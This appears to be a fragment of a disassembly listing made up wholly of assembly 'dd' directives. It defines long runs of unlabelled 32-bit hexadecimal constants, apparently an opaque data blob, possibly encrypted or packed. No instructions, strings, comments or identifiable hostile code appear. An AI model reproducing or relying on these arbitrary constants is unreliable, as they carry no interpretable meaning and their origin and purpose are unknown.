dd 269F3E94h, 9E4CE403h, 0A8319ADAh, 1EFEA388h, 0C01E6091h
dd 0FACF8934h, 3824838Fh, 96015158h, 0A0F11085h, 50802EFCh
dd 0B7F8199h, 31E98653h, 0BF0CA783h, 0AE178790h, 10B5EC30h
dd 369F976h, 9FBCD2E9h, 18D098E6h, 74393D56h, 0CCB6h, 35C1AC8Dh
dd 69AE2E8h, 232CC419h, 7D0340D1h, 7E66ED68h, 0FF1000ECh
dd 0B1F57031h, 2D7C43E8h, 85ED1D01h, 0ADB52844h, 6A0D4880h
dd 679718D3h, 94015C01h, 87108B72h, 7BB7ABC4h, 82A6007Bh
dd 0D926C2E8h, 84A04D78h, 450CDC98h, 104EE2F4h, 0CD5C0087h
dd 0AC3ED726h, 5706467Dh, 7ACF11A3h, 38520120h, 10CDD993h
dd 76AE60A4h, 80AF0F00h, 1FA4AD6h, 0B3630F15h, 0B8C0A99Ah
dd 1445AAD5h, 52E11000h, 67C34454h, 7EF13E72h, 0B380C0BBh
dd 6A74C15Fh, 0B60F1401h, 2016CE09h, 3318D67Fh, 7D610611h
dd 3002EDE3h, 0CBD23800h, 0CE8477AEh, 9C7E0092h, 6307C231h
dd 0B800504Fh, 9F752F5Ch, 198BE25h, 0E0FABACAh, 0D14ADF92h
dd 4CEE70ADh, 18827D00h, 0FF8D412Fh, 6D210001h, 0A29DEB5Dh
dd 1500C12Eh, 907FA56Eh, 0DD79BCh, 3B6C46F1h, 9CB9FCCAh
dd 0AC8B2700h, 11375658h, 9740044h, 0CEBC0786h, 18010522h
dd 0C1AE82AFh, 80E40CA1h, 49CF0028h, 0D477E76h, 2E0F16D2h
dd 0E763AADBh, 9E509836h, 7150A0A7h, 93D006C3h, 11FA79F3h
dd 53945E00h, 0FB5B013Ah, 448B0C22h, 3562E3A7h, 6BD024h
dd 6AFF2B80h, 0E8A80h, 4E1DE0E2h, 0F4C47A3h, 0AFD9DB09h
dd 0AA0D869h, 0CD51C6A7h, 958E0FECh, 766FDCE0h, 0C90EBAE5h
dd 0E13944BEh, 0FF078CCCh, 0B870D3h, 587C4BD2h, 35B1097Ah
dd 96C45D01h, 0ACCE4DF1h, 8911F8h, 58DB8DAEh, 5153C6C5h
dd 7400EFEEh, 9A4BE0CDh, 4EA7B7h, 0C05458AFh, 0B550306Eh
dd 353C9300h, 1C56A57h, 4B080228h, 0FA8E5B17h, 0ACE8055h
dd 152E03Ah, 0A5887B3Fh, 60735581h, 0EBF6BA36h, 379A6D16h
dd 15F7DA00h, 7853D5E9h, 0C45100CCh, 0AAC3312Bh, 9100133Dh
dd 788D9804h, 2602CA5Dh, 30DD0Dh, 6B552819h, 0A9000E41h
dd 0E3CD444Ah, 3877E72Bh, 0F00FEBCAh, 2408EE6h, 0EE4ABAA6h
dd 0B69B4E00h, 41185475h, 34E1009Ch, 0C879EB4Fh, 5B00E3E6h
dd 8DA65ED5h, 0DA4974h, 3386A820h, 0B7B0426Ah, 5DEC73Ch
dd 0B808D25Bh, 0C5FF400h, 0FF509198h, 65951081h, 40A17511h
dd 8C0E29C0h, 9376A505h, 9EC0CF90h, 90692160h, 0F5FE2Eh
dd 92A8173Fh, 5635A337h, 9A590A00h, 0EDFB01B6h, 0AEE600DEh
dd 31A16A2h, 0BD004C64h, 0F95FDA09h, 0BC8F9Dh, 2C316DB7h
dd 3EACB1E7h, 0FBE00401h, 0FFDF679Eh, 4BA0330h, 0E78B267Ch
dd 43A88048h, 41572DBh, 0E0313Ah, 0A549371Ah, 0A4137Ah
dd 8B3C46DFh, 0F82502A6h, 611D400h, 0E287BED9h, 561400ECh
dd 0C4E36EC5h, 0AF12DF40h, 0A8004578h, 0CE442FBEh, 7E960020h
dd 46B5DE24h, 751C838Bh, 55401969h, 0AEA444A8h, 7DA0090Fh
dd 68009F21h, 248F7B30h, 5973C300h, 81389506h, 46D41492h
dd 8B02ACE5h, 6440C10Eh, 5BAD9000h, 286C005Fh, 1B358FE2h
dd 3B0FF742h, 0EF115DA9h, 8BB2E0C9h, 267ECB3Fh, 859F9Eh
dd 91BAEC7h, 8E01B53Bh, 0C5FCB14Dh, 0CC30EFF5h, 6E33006Dh
dd 342F0F13h, 60304284h, 8BFB7003h, 103A2E64h, 0CD7F07B9h
dd 214FB223h, 2BF027E0h, 0AC14BA00h, 0E7F16EFAh, 9528C01Eh
dd 0E3E81DF6h, 0DA78D701h, 2C4093D5h, 0E078C30h, 20272EBBh
dd 7CC458Ah, 0D08EC41Fh, 0F6C86D56h, 0F4402400h, 5A87FA31h
dd 3A813E67h, 0A2E46402h, 0BCC0B571h, 13077CC5h, 1B97BF7Dh
dd 20EE3250h, 279400E7h, 64BE2D5Fh, 17003B8Bh, 0A67CDC0h
dd 0DFD9BFh, 6C901D21h, 9E306F3Ch, 8EC86A09h, 5FACA0FDh
dd 5C2417E1h, 0FF00B960h, 0E457C5E3h, 0E0FE5A04h, 5010F903h
dd 0B8028DFEh, 389D7028h, 6680DA07h, 7D5671AFh, 3483D6Ch
dd 0CAD600BCh, 23393A58h, 0F467002Eh, 31A4C0EDh, 6200E03Bh
dd 0F5A78A6Fh, 436A0Ch, 22C552DAh, 0C7AADD3Ah, 7969700h
dd 0E0253BE6h, 19500C8h, 0F343FBD5h, 23078B3Ah, 9C681441h
dd 619A5020h, 149B0DDh, 67B849BFh, 20D5808Bh, 0EC07F2E4h
dd 0B77E46FEh, 29CCBC60h, 0B375042Ch, 824C8F89h, 0A480D144h
dd 73098AD9h, 7A015CB8h, 216899C8h, 5880DFEEh, 59D72260h
dd 18074A17h, 0C728F6B8h, 2ACC9190h, 0F17CB7h, 0E030AC98h
dd 0B5EDA59Fh, 0EF4CC700h, 0E10A5F24h, 3690077h, 0B0B6E08Eh
dd 3B00FEA8h, 0E531B4FDh, 4142FA0h, 0A662CEC0h, 0E4C80F7h
dd 7B00B96Dh, 0D6EF40FFh, 0B8CE635Dh, 0D907004Eh, 9EE831Bh
dd 60B8170Ch, 350099F4h, 0DC6EE7CBh, 0D5AD2Ah, 37E204F5h
dd 0B93149D6h, 20900DE6h, 0BBCECB03h, 80A61AC7h, 3E039475h
dd 9D075844h, 0E97B071Ch, 0D91D8C80h, 0FF00DE4Eh, 2BF36076h
dd 0E88A6C92h, 0AA7707B7h, 42DF4D46h, 60DD3595h, 49A6A24h
dd 284741D4h, 0C91580FAh, 2701CDF8h, 0D3400F35h, 7C200D61h
dd 8EC700BEh, 2387E999h, 830085F3h, 0DF4A3817h, 0EC86634Eh
dd 0B03363ABh, 62D0FA75h, 551F71CCh, 0D700E2C0h, 0C7E9CED5h
dd 0D6201EC2h, 73753E7h, 0F0139E48h, 8F776801h, 2E31F81Dh
dd 4D37147h, 5F0649C0h, 55BC048Eh, 85366239h, 738548h
dd 3D849DFCh, 6A76634Ch, 0F5C22A0Eh, 0AE871E62h, 1D81ECDCh
dd 0D9E0E3B8h, 0AC300ACh, 7DD2F2EBh, 3490ED19h, 0AF29201Dh
dd 39A45C9h, 0D073E11Ch, 5DEAEC3Eh, 6A00E8B2h, 869635CDh
dd 6B3A51ACh, 0DAD0180h, 6E93C67Fh, 0BC61F4h, 92601129h
dd 39C7A787h, 5FE6CC1Eh, 5C552640h, 3FD24E9h, 8879660Ch
dd 4AB89D8Bh, 5D743C68h, 35DCD504h, 84989C2Eh, 9FEF0BB7h
dd 0E8000EEBh, 0FA67D14Fh, 789DA600h, 488F28C7h, 0B8C060FCh
dd 0A82730EAh, 31418109h, 291490D8h, 0EF00079h, 6DD7DACAh
dd 6500432Fh, 983716FAh, 113ECBh, 31FD5A01h, 9989BE92h
dd 0E1303C07h, 4C50EF2Fh, 0E42903C0h, 0CBBB869h, 223BACE9h
dd 0FCB878B0h, 7C5C0F26h, 49B1C600h, 11F2361h, 7C2C06BFh
dd 0E070E785h, 1300FBD7h, 736C94FAh, 0B36F927h, 0ACDAB96Bh
dd 0D0340380h, 9D7BEFA1h, 0F3C32D00h, 8B24C73h, 3A700Eh
dd 0F26C611Dh, 674AFF25h, 0A474B000h, 7B2FDA84h, 0CB0C25A1h
dd 0C30065F6h, 5E2B91F5h, 3922830h, 0B94F3EE0h, 1ACA9A8h
dd 0A4618782h, 0C0231F46h, 5A7C8BAAh, 672BC20Ch, 0E07B3040h
dd 0FCB87989h, 0B7CC1702h, 0FF160782h, 70060B25h, 70982841h
dd 4E5F6800h, 1095E8BEh, 35D90059h, 0F7F0A0E0h, 0A612B2D3h
dd 7400397Eh, 0CD15B9B4h, 0EF042E42h, 0D58C0095h, 0BADECCD1h
dd 84125E00h, 0DD75144h, 3A50004h, 0EFFA81B4h, 0CD005223h
dd 0AB4B7BC1h, 18881366h, 5867561Dh, 8904A6F0h, 0E9402DFFh
dd 14D0A080h
dd 18AB0069h, 0C31CBADDh, 4C48DB24h, 9CAF0AE4h, 5600C026h
dd 0BE912D3Eh, 710F009Dh, 0D619469Eh, 4F3B5D0Ah, 7C5C8372h
dd 0A868D5D0h, 56A88Ah, 2A1A10D7h, 0F578CF81h, 5F6B7300h
dd 0E2097541h, 2C085CA3h, 0A1F7007Eh, 0D5B052Bh, 41002EFDh
dd 5FB21C02h, 0EB11C5h, 0C315731Fh, 6D22208Dh, 95A13902h
dd 80DDB87Eh, 0AB4A9DA0h, 64620947h, 0FCA06F16h, 0E1335E70h
dd 35F613Bh, 2A6BC07Ah, 0EB99901Dh, 16E33A07h, 0C9D80D00h
dd 0BF081757h, 20C7C103h, 0A8DF1D78h, 0F67234EFh, 79390109h
dd 2AD4DA40h, 8FC080BBh, 2CF2BA9Ch, 0BE59007Bh, 736591B2h
dd 0E03B674h, 273631BBh, 48F4A0F7h, 62D928F5h, 747A04B0h
dd 398B11h, 0EAD6CFBFh, 957746h, 8E6EE1DEh, 76C9413Dh
dd 3A660800h, 1142404Dh, 65AD0079h, 9A8C5A05h, 460006DBh
dd 0B11A4AA0h, 8E628D8h, 53AFBBDCh, 38811204h, 0DDE9BF40h
dd 630068A2h, 0E3B1F1B3h, 0B026FE3Bh, 17160095h, 7B2B4BA9h
dd 9F00DB77h, 0C7250CF2h, 13115ECFh, 13BBA07h, 576DDF0h
dd 887C240Ah, 2295301h, 2EB1F664h, 90D1B874h, 50EB00E4h
dd 87BE8CCCh, 0F3382A66h, 4C4C17h, 0CA896FABh, 1DCF927Ch
dd 5EC6D059h, 0C068DEBAh, 9F7F1B06h, 0E348916Eh, 7D545858h
dd 5C00E490h, 0BE2A0124h, 3C872584h, 381F1F32h, 0E8AED3h
dd 88A7167Ah, 0D8B28F2Eh, 11B1BB00h, 544485F7h, 0E77A006Bh
dd 0B0F5CFB8h, 0B509F462h, 0E197D6CEh, 30094004h, 8A00F970h
dd 6B37CA01h, 1F47C12h, 9869403Bh, 7063CF56h, 5D0C1DF8h
dd 11E501FEh, 50E71C83h, 3DD4809Eh, 3A4A9878h, 0F395F4A0h
dd 60975C96h, 0A16A6700h, 8F2B30h, 2214CD3Ah, 0F7D25819h
dd 45A3CDA0h, 0B009784Fh, 873B0283h, 318440E8h, 0DC293330h
dd 0EDC84E28h, 8F0706B9h, 16E1AA5Dh, 87BF0A30h, 759FA8Eh
dd 366DFD33h, 42E600BBh, 0C7006577h, 0EB14DCC6h, 47A4E52h
dd 21766E35h, 2E18E08Bh, 0D33C1DF6h, 0A3EB8039h, 0C716A4C8h
dd 176DB886h, 40CFB5F1h, 6723EEF4h, 0C507B164h, 0A686BF41h
dd 0C1E71E11h, 1D203D8h, 0E6D1E3BAh, 64F87C09h, 4E0327F0h
dd 0AFB99037h, 88A48096h, 0D659058Ch, 8087311Eh, 23B41D50h
dd 0E6FC3E01h, 884C2DD1h, 36012DCh, 99665330h, 0A8C03603h
dd 0B848F84Bh, 0ECD90E48h, 4E23C01Eh, 353A2Ah, 0C9606C71h
dd 0E4E64BBFh, 0B9287C63h, 0C28A85Eh, 48FC045Ah, 84D8D347h
dd 0A820D062h, 0B4E22607h, 6044DE00h, 0FB1C6313h, 0D09EE3h
dd 55C45DBAh, 58B08971h, 0DFCC6C13h, 0F7574404h, 4E47E4D0h
dd 0C7B00021h, 0F19F9BECh, 4B1C55E6h, 0B64930E1h, 35180145h
dd 7DDC5E85h, 64B451h, 3A12EBFDh, 0E448E013h, 1C350080h
dd 10A4385Dh, 8644139Ch, 0F338C05Ah, 0BA5984h, 92B53001h
dd 71EE5C0h, 0E3553880h, 79A57682h, 0C0D51A3Dh, 0A190D2h
dd 0BAC68706h, 781130E0h, 8A753AE4h, 82D0550Bh, 0E931005Fh
dd 48D70AA2h, 9307604Fh, 97F6E288h, 95D9E061h, 3A0E99CAh
dd 0E082AA75h, 7B58F72Ah, 88520076h, 74C62478h, 34008E48h
dd 1642354h, 0F6B39D36h, 0FC3FF631h, 3E54984Bh, 96C09FEEh
dd 0A82E7803h, 871CB1D3h, 0D23AA550h, 9CAB0037h, 6BB07C19h
dd 99E65D71h, 0FCBB6804h, 2F80C597h, 151C332h, 0FB40A26Eh
dd 219A0163h, 26143099h, 0C40B2824h, 38670E16h, 0A364F861h
dd 260820h, 0C1212489h, 7D04DF9Dh, 8C0F6C13h, 0DA562C01h
dd 4432E2F7h, 9D8DBA07h, 4F3B10C3h, 0BF0755C9h, 0F078172Eh
dd 1DF82049h, 1DA51AC4h, 5C600Bh, 993DC053h, 939B794h
dd 0A34C7Ah, 7DC39E02h, 0E86C52FEh, 0EC70C068h, 0D1909A20h
dd 0F1425900h, 0EB8CBF0Dh, 7DF4E46Fh, 57E6095Ch, 0B881EE99h
dd 65857D73h, 321B40C4h, 0EB0097D9h, 64932290h, 0A82161h
dd 1D75ACB3h, 0DF6732D0h, 0A16BAB04h, 6CC044D2h, 0E44BEC25h
dd 763700F6h, 9C0AF7E0h, 0D00FCF2h, 0D1B47E67h, 3BEC8Eh
dd 0F1DB855Eh, 0E8E3D272h, 69008C9Ah, 42B415E4h, 1A37E3Ah
dd 1786D9F2h, 0C041DFA8h, 0C1036B55h, 0A0EEE5C3h, 477FA8E0h
dd 0CF8D02F0h, 2552F313h, 7A458F60h, 16D19602h, 0E0504973h
dd 13E53BCh, 378C26C6h, 0C82C0415h, 9A2873B1h, 3A0280F6h
dd 0EEFD589h, 1C08D16Eh, 0F563C02Ah, 540C2B8Fh, 0FE431005h
dd 980AB92h, 9B0BE8h, 0F4A1C537h, 0C04620DEh, 55733000h
dd 743A3667h, 0E9F70047h, 0B598F02Fh, 104AB0DEh, 1DC0F001h
dd 728396B8h, 821A1430h, 62C313F8h, 0A671A101h, 15E3742Fh
dd 0D542FCh, 0FDE98F94h, 0FF8E8995h, 570E9C00h, 0DFAAD33Fh
dd 1F3B00EDh, 224FB4E5h, 0C272D715h, 74412F5Ah, 932B5DB6h
dd 0A86FA6F0h, 0F87E23B8h, 86321798h, 0D9BB00E6h, 2DD9B67h
dd 92094201h, 0E496B922h, 9FA8B850h, 6AFF0F31h, 0DE3A55h
dd 0D69277D2h, 1903716Eh, 7B685A70h, 301180D0h, 0D3D82412h
dd 0E2C10B64h, 49981000h, 7000E40Ah, 5EE36351h, 54DF43h
dd 0E7E29E68h, 0ECD2911Dh, 0C32D9F00h, 6492F931h, 10936051h
dd 0F60C53D7h, 0CD00D5F0h, 20097626h, 266C5743h, 16C67FEh
dd 8FB74CF1h, 0CBBFF8E1h, 83329D00h, 9E6C4ECDh, 0C0587D49h
dd 8A7DAA90h, 994C05BAh, 0EC6B080h, 0A0ECA029h, 0BD931CCBh
dd 623B4004h, 3199C3D2h, 0F2F9FC09h, 50FCC0FDh, 262F2856h
dd 7AF600F8h, 90BB92F0h, 0CDE6B291h, 38135400h, 9F352706h
dd 4253163Dh, 0A2450CF5h, 0AE07B440h, 7949820Ch, 3CBF030Bh
dd 0F8718101h, 588004DDh, 4AB9A08Bh, 2F1DB8DFh, 0F6C0F34Fh
dd 3DA83293h, 0E8373DD4h, 39C16700h, 5BA45451h, 9000F098h
dd 0B297EE26h, 26F4960h, 0CF29E18Ah, 0AC697669h, 6818ECBEh
dd 380023EEh, 1B947312h, 7E5070h, 0D9B3D172h, 788CC452h
dd 0E4454E0Ah, 0F5268434h, 0D471D717h, 5CC89833h, 271200CDh
dd 0F775B74Fh, 0F487056h, 4CA62474h, 2D609700h, 7AFCFBB5h
dd 0B347F4Ch, 38E55340h, 0B119ECC0h, 8248D00h, 0B7490C20h
dd 582D1643h, 0EBDCD8F3h, 5AFF8200h, 5011E881h, 0F6E00B40h
dd 7C205758h, 0FA1CED2Ah, 7B78DCE0h, 76859801h, 91C3C56Ah
dd 3703C878h, 0B7BC1E8Bh, 81B8C1D5h, 988112Dh, 0FC05F878h
dd 0B020E9C6h, 0CD09AFFCh, 275D9066h, 4690CA1Ch, 0B0D0E3E4h
dd 283D01C0h, 7D0E492Eh, 110AE8C6h, 2D8174Ch, 3F26B588h
dd 2F28505Ch, 0FC80A8E3h, 5BD36B4Ch, 3AC72800h, 38AE82ECh
dd 0AF473AEDh, 0B5A19F8Fh, 8892CB60h, 5A73E501h, 0B9008D75h
dd 3FEFF92Fh, 3A61661Ch, 0C0833140h, 2C654535h, 0D23B58D0h
dd 1A03E8F6h, 8C362884h, 0B977F882h, 8323008Bh, 972BF355h
dd 0EC900B52h, 0F70E5AE0h, 2480CE45h, 0F0B09A72h, 0A74B002Fh
dd 0B0C61C27h, 200FC83h, 0ED7B9A5h, 3D0AB76Fh, 0F61DC9E1h
dd 28BF80E0h, 129BD3EBh, 0C8597800h, 36114383h, 0D621052Dh
dd 807FB60Dh, 402FF3F2h, 5DE24D0Ah, 721F88EDh, 46C7FD00h
dd 1D62C235h, 40A216A6h, 0E71EED81h, 7E00D3E6h, 69C59B48h
dd 3D270CA3h, 3F800350h, 0E74CFAADh, 1B075E88h, 0BFEDCC7Ah
dd 0A4803624h, 9807A2FFh, 716C0FC8h, 0ACE246E1h, 48C81C87h
dd 0F0BFDDB4h, 0F466E544h, 3718D505h, 1CF800DBh, 0BC5286Dh
dd 5909F3E0h, 612F07FCh, 0E07D4F00h, 3866700h, 2873843Eh
dd 68984D01h, 697062B1h, 4B8BD8h, 5D354F82h, 386CE84Ah
dd 92C39100h, 2DC81E1Ah
dd 69F30020h, 0C04E98C6h, 0F800B9EEh, 0F9DBC7AAh, 0A0EBF1C3h
dd 18B8A3CCh, 81BA65DAh, 0D30064E5h, 444C891Fh, 4A1769Dh
dd 4137A9D0h, 20FCC773h, 847E705h, 0A5FF3912h, 393F38B0h
dd 2182739Fh, 8A82C474h, 0D2008070h, 85292D96h, 0F0BD6Eh
dd 6A41B85Ch, 0DC40BB54h, 0B2006098h, 7B5F258h, 0E891E62Ah
dd 23E40004h, 0B8DB4C5h, 0B33F0D31h, 1CCCCBh, 0FE978149h
dd 793344h, 42C7AB96h, 0D0AA7374h, 0BAA6153Eh, 7BF287B1h
dd 4846EAB5h, 289200B8h, 8E1346CFh, 23009D5Fh, 88D149C1h
dd 1F1871Fh, 0CDFA6B45h, 0E5CE069Ch, 8BB0D064h, 22B70A00h
dd 0FBBE71C7h, 8C7A25h, 462BF92Ch, 4CA28589h, 9F49E500h
dd 0AF707A28h, 74F76D5h, 5327A966h, 0B33A0563h, 86ACB800h
dd 5CB3C488h, 91742216h, 10908C85h, 0B23CEF2Dh, 194426E4h
dd 4396BB44h, 9E2C1D3Bh, 36CE40C1h, 0DFA93D79h, 9516D300h
dd 8E4D8633h, 59B900A2h, 2F8F6470h, 0A5090E19h, 80A149BBh
dd 98F3B429h, 2890029h, 0B390BF40h, 7527826Eh, 0BDC805E6h
dd 45E088h, 0C3C015C7h, 0E0DA2C66h, 3D36C905h, 60F0046Bh
dd 6F9F1FACh, 0B17AC0BDh, 0EB24ABC4h, 0A8092800h, 1AFD15FEh
dd 2DE500F5h, 58C4477Eh, 0BE00BFA2h, 9D4B8722h, 0F5C3A6h
dd 4329BC15h, 2737C4EAh, 376C898h, 785F5E15h, 58B70080h
dd 3A040AE8h, 24BF26D0h, 6C6F00ACh, 30B35147h, 123CA400h
dd 9F2BF292h, 384F6Eh, 0D9CB7E20h, 33306801h, 26E2885Fh
dd 0B7D20183h, 5E99794Ah, 611064E3h, 0EE001176h, 0F82F548Fh
dd 26305A93h, 2C76E598h, 33298870h, 8548A680h, 0B28343h
dd 70EB7477h, 1D96FB25h, 0CDE1CE00h, 0DF7F937h, 0F16A02BFh
dd 25F58F9Ah, 7C5854C4h, 41FC0014h, 1FDD047h, 0F73B03BEh
dd 5D6FEF18h, 0E12E1598h, 0B8C007B8h, 9FAAFBB0h, 0B5340EDBh
dd 53AE2Bh, 0D5E69D88h, 77307E8Ch, 46F4C8B4h, 7CF502DEh
dd 0CBE035DCh, 5500EC7Ah, 60805C48h, 48A685F0h, 4900B861h
dd 749B7FF8h, 9F00DB71h, 0CAD67877h, 1FDD1294h, 40954CA1h
dd 27468ECh, 2C94F979h, 56835E00h, 701E5192h, 0F8D80023h
dd 759AC6E8h, 0C0A00B60h, 72009C0Ah, 53FDE414h, 941DB5Fh
dd 0B2358762h, 0A000AC70h, 7B91197Ch, 0EF8C99Dh, 0ACC79EC5h
dd 0F5B3E660h, 0DB5C263Bh, 0B8B43F37h, 519B00FDh, 2F2E49F6h
dd 2A3F7A14h, 0D0A5F1h, 0BF058BAAh, 1A649DFEh, 240DE4Ch
dd 0A59339FAh, 8400E058h, 4B320060h, 4F24BB81h, 8B001B18h
dd 64F1F5A7h, 1565702h, 0A59CE0B3h, 60010654h, 48116728h
dd 0D884F3FFh, 0D4088D02h, 74F40AB1h, 6AF3140Ch, 0B7CE075h
dd 0BC7B4D4Ah, 43AEDC07h, 0AC25B72h, 893D0040h, 78744517h
dd 3C6E00FBh, 976119C8h, 0EDF7C202h, 0A0E9D99Dh, 1781E6E4h
dd 0B4A1EE22h, 30B86010h, 2E003811h, 0EB45DEF2h, 54CC9A9Fh
dd 6D1D43Fh, 0F1AA7470h, 0DB0010A0h, 0FD4EED0Fh, 7A6679A7h
dd 0C35712F7h, 0A5C20055h, 76589619h, 841CD10Bh, 0BAB081F1h
dd 0AF609B3Fh, 0D8C269C3h, 57C04082h, 7D9E5056h, 3B4071DDh
dd 0BEC159CDh, 0D3470064h, 0E90990B2h, 8700F137h, 0D4E5E94h
dd 4C0CBD34h, 8200DC5Ch, 1379AADFh, 9B0FF83Ah, 0E08808E4h
dd 0EA8E53D7h, 0D6B00435h, 0C3BACBC7h, 0A0E43EB9h, 44001720h
dd 2C9E7110h, 794533h, 0DAA51663h, 0BEE03F41h, 0E9D7B21Eh
dd 56D3A900h, 0A09D98h, 8F507235h, 60DDD86Eh, 0ADB7793Dh
dd 403C8B2Ch, 27DBAA88h, 0C40B3B1h, 9E000B1Bh, 7E67F86Ch
dd 1DD64CAh, 81136B51h, 60E34F9Fh, 0D4000E9Bh, 922D04AFh
dd 25D9B067h, 9C2FC7B9h, 0A3260500h, 70139F4h, 6CD6DE3Fh
dd 4C60833Dh, 6F54002Ch, 90A48030h, 30024CAh, 0E570A916h
dd 1C9555D4h, 432893B4h, 2D3BA20Bh, 0E73A317Ah, 125C0AFBh
dd 0A500CC0Ah, 7F466BAAh, 2B876A8h, 0FDF5E79Eh, 4C706A6Fh
dd 0C0283160h, 733F1Dh, 0DF1F5055h, 0CAB43B9Fh, 74C4248h
dd 2093FD6Fh, 5CAC9180h, 0ED21673h, 54E20FA7h, 85B87DA2h
dd 12CB1CE0h, 0B9904003h, 0E0F3D606h, 44E80h, 772D7567h
dd 1892D3EFh, 3600E9F4h, 78595EDh, 2249C4h, 6128DF69h
dd 0B2D49D91h, 0FCC06C4Ah, 0D9A8C3h, 234CAFCDh, 3D61C881h
dd 3E0017F4h, 65DD531Eh, 0E0391B9Bh, 16F0BFh, 1A4D633Bh
dd 0E36F7DD8h, 4C5BF90Fh, 0B501938Bh, 0D60CE149h, 9E3057C1h
dd 0E930014h, 87085298h, 8278B18Eh, 3825AE00h, 1811C9FEh
dd 4A240077h, 72F02B33h, 93E056C3h, 48F2B8B0h, 3601CE7Dh
dd 2D245962h, 0CCD83E2Eh, 74C1005Ah, 5CA8E8CFh, 9A0345DFh
dd 2D5329B2h, 94F6F0A7h, 0F8B1E71h, 2E1E83C2h, 61E7C86Bh
dd 6D9C6082h, 28A60008h, 31D0F1A8h, 7F9F1E09h, 5F4F8072h
dd 505AB8A0h, 0FBF44000h, 0EB8A7136h, 0E00803E6h, 3EF0A36Fh
dd 30F20800h, 8F0338E9h, 0D5652848h, 3698DBh, 63333C27h
dd 3D3971C2h, 0FBD10500h, 0E25CA9EDh, 0AB11002Fh, 87F0A472h
dd 4CF07F3Fh, 1BA0300h, 0C1FFCFA1h, 64B603F7h, 0A577B726h
dd 79C8C0CCh, 0AA002D27h, 0AF2F2C73h, 0F096AC9Fh, 0FC78C0E1h
dd 3DFB04D6h, 0C2CB5A00h, 450A9AADh, 5F610068h, 5654C0A6h
dd 3B48378Ch, 0C75317ECh, 0FD1002Ch, 40A5F367h, 0ECA253h
dd 18D5BBA3h, 0DBB56Dh, 0D080681Ah, 2D836903h, 8A6A1100h
dd 86BC25C6h, 739F09Ah, 39B9987h, 0B3B96256h, 0B0405762h
dd 2659937Eh, 0FC500024h, 8C495D67h, 0ECB43D40h, 0B00FAE3Eh
dd 0E903C83Ah, 1020ACA5h, 186C7792h, 20B2DD36h, 0EB60618Bh
dd 577C3548h, 74411CD8h, 94120498h, 77E8C08Ah, 0BF0125A8h
dd 59B1D52Dh, 27706A8Bh, 9A4A61h, 635AAD44h, 0D001D4EBh
dd 30580341h, 5C580447h, 119422Eh, 0E8C9C2A6h, 0D530FC90h
dd 71D8EAAEh, 5F2601B3h, 0A8EFAFF5h, 24ED018h, 0CD8C8B00h
dd 8E19A01Ah, 82960037h, 10554994h, 830E9FD5h, 348C03h
dd 1FD86405h, 0ACC8007Fh, 0A02DC6F2h, 0B80170BCh, 0D4712581h
dd 0F9ECB703h, 0E2940276h, 0B5D39599h, 0ADE4860h, 0A4A62101h
dd 0A3FCCDF2h, 2708C0CCh, 0BDDED56Bh, 0B8367300h, 288F3Ch
dd 0C40F9657h, 0D6A08358h, 0EFFB96C0h, 0E75240h, 0EEEC4637h
dd 0C1503F29h, 75F19700h, 3464B812h, 27223973h, 0F3C4E500h
dd 295F8A10h, 0E24B5E01h, 0E949AB86h, 0B03B5CE0h, 3824E32Ch
dd 0E28100D7h, 0A334B114h, 7500C399h, 4CA08D08h, 0E66A2C1Ah
dd 50354806h, 0F201C781h, 0E2E06E43h, 443C0050h, 3DFC6B9h
dd 63037DE5h, 0D29A6F0Bh, 3C301509h, 9F07D049h, 5F8921F0h
dd 0D69BAFC0h, 0EA24FA48h, 660185B0h, 0CF9526FCh, 1E2D51F0h
dd 1CA1CA1Ch, 12690076h, 67235005h, 0B8928B2Ch, 0CDF01000h
dd 48DD722Fh, 0A50F7769h, 90649455h, 5D14E031h, 45805700h
dd 9ECED244h, 819C0062h, 9D7D6D5Ch, 38D22675h, 2F0C9700h
dd 0B874B7B9h, 0FC55F28Dh, 2D1800B3h, 0BE156416h, 0F25A9097h
dd 0F36F6090h, 31F79F9h, 0AECE88BDh, 0F801067Fh, 8130DBD6h
dd 3AE0F6BCh, 0F50B0965h, 5800DED4h, 17A784ADh, 685E1400h
dd 393431C2h, 0B8DA01F5h, 0BC1367AEh, 6AC6DC03h, 0EF7E1801h
dd 0BED598D8h, 67D4CEE5h, 0F0500024h, 13EB2084h, 0A6001D35h
dd 4BC61E76h, 0A107B7h, 3BE3D5E7h, 64E17CA8h, 102C3E00h
dd 1AC3E995h, 0ABA000DCh, 4578F560h, 0CF076B58h, 5E833BBBh
dd 0E74F00DBh, 25D07Fh
dd 506203Fh, 8AC9664Ch, 0F7F68100h, 957F3432h, 0F23500CAh
dd 5DE7D806h, 93070EF4h, 94271B76h, 46156520h, 0D86600A7h
dd 87D3283Eh, 8100C48Fh, 96644C07h, 1F034DDh, 8BF0DA9h
dd 0C157EBF2h, 0C4A17FA7h, 0C2FA05E1h, 0CA802E0Bh, 865704DDh
dd 10C8CD7Ch, 64F43103h, 0EB0FCF70h, 0F8207506h, 910E009Eh
dd 82CD617Ch, 0DC32DAD2h, 13B12956h, 452498BAh, 1462AF21h
dd 2229A9C6h, 79429F75h, 21611811h, 89780819h, 5B943D90h
dd 210D2964h, 28178A60h, 226E3642h, 0D0220761h, 21B52485h
dd 4E2FA1Eh, 871A2155h, 0CB206912h, 183597h, 7B1D143Ch
dd 0DDEBFA02h, 5585E200h, 2F3E5D87h, 6DF09Dh, 294B8C2Ah
dd 8FA86A84h, 8B0085E6h, 0E421C769h, 51F3F0h, 3D8A6588h
dd 26E2F1C3h, 97F84200h, 0A386A29h, 0F07200AFh, 0E7AA0F59h
dd 6D009168h, 70CE524h, 70B53BE4h, 2160B59Dh, 0E307C59Ch
dd 513E72D6h, 5FB6CBC0h, 0F65C1D60h, 76A880B2h, 964A70CDh
dd 0A3008A7Fh, 0FD9D040Dh, 0F4244D4h, 4318B56Bh, 0FCC38B60h
dd 85009EB8h, 0D8FEE974h, 79534CBEh, 57779BCh, 4FBA604Ah
dd 0F59401D3h, 0FC8473D9h, 33015AF2h, 92EE6EA7h, 4ED1AC86h
dd 9C6C1080h, 29023A68h, 0CC2B0104h, 3C809908h, 7BCAF1h
dd 0E3EDBEB0h, 25138D26h, 0EC659703h, 0A89C73F5h, 7DB9E54h
dd 45581D3Ch, 7859A015h, 5076257h, 8271B9ABh, 4D88FCF0h
dd 5BE80Eh, 96256913h, 51246CACh, 6EDE5907h, 0A4A0A1C4h
dd 0CA63A01h, 74A57CEBh, 2E60EF48h, 0C4980AD6h, 0A9E7022Ah
dd 35F02F89h, 0ACD055C0h, 0C7CF4C03h, 91FA59A6h, 9440CB2Bh
